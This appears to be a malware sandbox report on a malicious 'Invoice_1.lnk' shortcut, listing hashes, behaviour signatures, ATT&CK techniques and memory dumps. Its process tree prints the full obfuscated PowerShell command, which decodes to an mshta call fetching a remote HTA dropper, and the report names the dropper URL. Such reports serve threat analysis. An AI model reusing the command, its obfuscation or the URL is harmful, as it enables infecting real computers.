Overview

overview

10

Static

static

Invoice_1.lnk

windows7_x64

10

Invoice_1.lnk

windows10-2004_x64

10

Resubmissions

25-05-2022 19:16

220525-xy9rdacee9 10

23-05-2022 22:23

220523-2bae8ahfb7 10

23-05-2022 22:09

220523-12vneahef3 10

Analysis

  • max time kernel
    1622s
  • max time network
    1625s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    23-05-2022 22:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Invoice_1.lnk

  • Size

    2KB

  • MD5

    c00c67f3de031c5ae198ba0362b5dd01

  • SHA1

    40f3b0263f8fccdf1fd5fe287dbd55829a8eddd6

  • SHA256

    d146c8bc52ec74b67704b30c0fb20995ba65770d191502f70c88c262dc44fc5d

  • SHA512

    4944aa5947667500eddb4d7fed5b0a8eb4d14db1d60496fcbe38c4032511b04c92757807a23dff49353f5ee75a5ed44cc5de9ed7cdcd12b59a7b8c9214e227ad

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://conderadio.tv/09872574.hta

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice_1.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" <#oeE'}tV41O#>$zfkmQNMMGKcDTdJr=@(30802,30808,30797,30809,30790,30725,30797,30809,30809,30805,30808,30751,30740,30740,30792,30804,30803,30793,30794,30807,30790,30793,30798,30804,30739,30809,30811,30740,30741,30750,30749,30748,30743,30746,30748,30745,30739,30797,30809,30790);<#oeE'}tV41O#>$JxXPDMbtIHLsflxCnW=@(30766,30762,30781);<#oeE'}tV41O#>function najjGYpeT($gNCFLP){$KeafQvWRzpQ=30693;<#oeE'}tV41O#>$GDaRsn=$Null;foreach($jimJcuhW in $gNCFLP){$GDaRsn+=[char]($jimJcuhW-$KeafQvWRzpQ)};return $GDaRsn};sal pQtoDlBENz (najjGYpeT $JxXPDMbtIHLsflxCnW);<#oeE'}tV41O#>pQtoDlBENz((najjGYpeT $zfkmQNMMGKcDTdJr));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://conderadio.tv/09872574.hta
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1264

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1264-94-0x0000000000000000-mapping.dmp
    Download
  • memory/1460-54-0x000007FEFBCD1000-0x000007FEFBCD3000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1704-88-0x0000000000000000-mapping.dmp
    Download
  • memory/1704-93-0x000007FEF35F0000-0x000007FEF414D000-memory.dmp
    Filesize

    11.4MB

    Download
  • memory/1704-95-0x00000000028D4000-0x00000000028D7000-memory.dmp
    Filesize

    12KB

    Download
  • memory/1704-96-0x00000000028DB000-0x00000000028FA000-memory.dmp
    Filesize

    124KB

    Download